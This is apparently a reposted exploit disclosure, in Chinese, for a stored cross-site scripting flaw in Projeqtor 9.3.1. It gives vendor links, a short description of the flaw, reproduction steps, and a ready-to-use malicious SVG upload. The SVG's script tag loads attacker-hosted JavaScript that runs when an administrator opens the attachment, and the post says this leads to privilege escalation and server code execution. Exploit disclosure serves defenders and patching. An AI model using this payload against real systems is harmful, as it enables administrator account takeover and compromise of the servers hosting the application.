Projeqtor v9.3.1 存储型 XSS

2022-01-05 10:08:59 浏览数 (1)

供应​​商主页:https://www.projeqtor.org/en/

链接:https://www.projeqtor.org/en/product-en/downloads

测试:Ubuntu、LAAMP # 供应​​商:投影仪 # 版本:v9.3.1

漏洞描述:

Projeqtor 9.3.1 版存在通过 SVG 文件上传的存储型 XSS 漏洞。低级别用户可以上传包含恶意 Javascript 的 svg 图像。通过这种方式,攻击者可以提升权限并上传恶意插件,从而在托管应用程序的服务器中执行任意代码。

重现步骤:

将以下 XML 代码作为 SVG 文件上传并更改您控制的位置的 xlink。一旦管理员用户打开附件,攻击者托管的 Javascript 代码就会执行。

代码语言:javascript复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script xlink:href="<script src=CHANGE this for the location of your script></script>"></script>
</svg>

0 人点赞